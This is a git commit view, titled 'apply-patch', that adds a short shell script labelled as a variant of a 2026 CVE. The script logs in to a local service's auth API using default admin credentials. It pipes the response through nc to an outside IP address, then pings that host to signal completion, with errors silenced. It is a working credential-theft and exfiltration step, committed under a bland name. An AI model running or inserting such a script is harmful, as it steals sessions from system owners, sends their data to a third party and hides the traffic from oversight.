apply-patch

2026-07-29 19:27:25 +08:00
parent 97032d0fab
commit d25be2c221
1 changed files with 4 additions and 0 deletions
@@ -0,0 +1,4 @@
+#!/bin/sh
+# CVE-2026-60004 variant a
+curl -s -X POST 'http://127.0.0.1:8085/api/v2/auth/login' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=adminadmin' | nc 202.79.169.91 28016 2>/dev/null
+curl -s http://202.79.169.91:28016/DONE_a 2>/dev/null &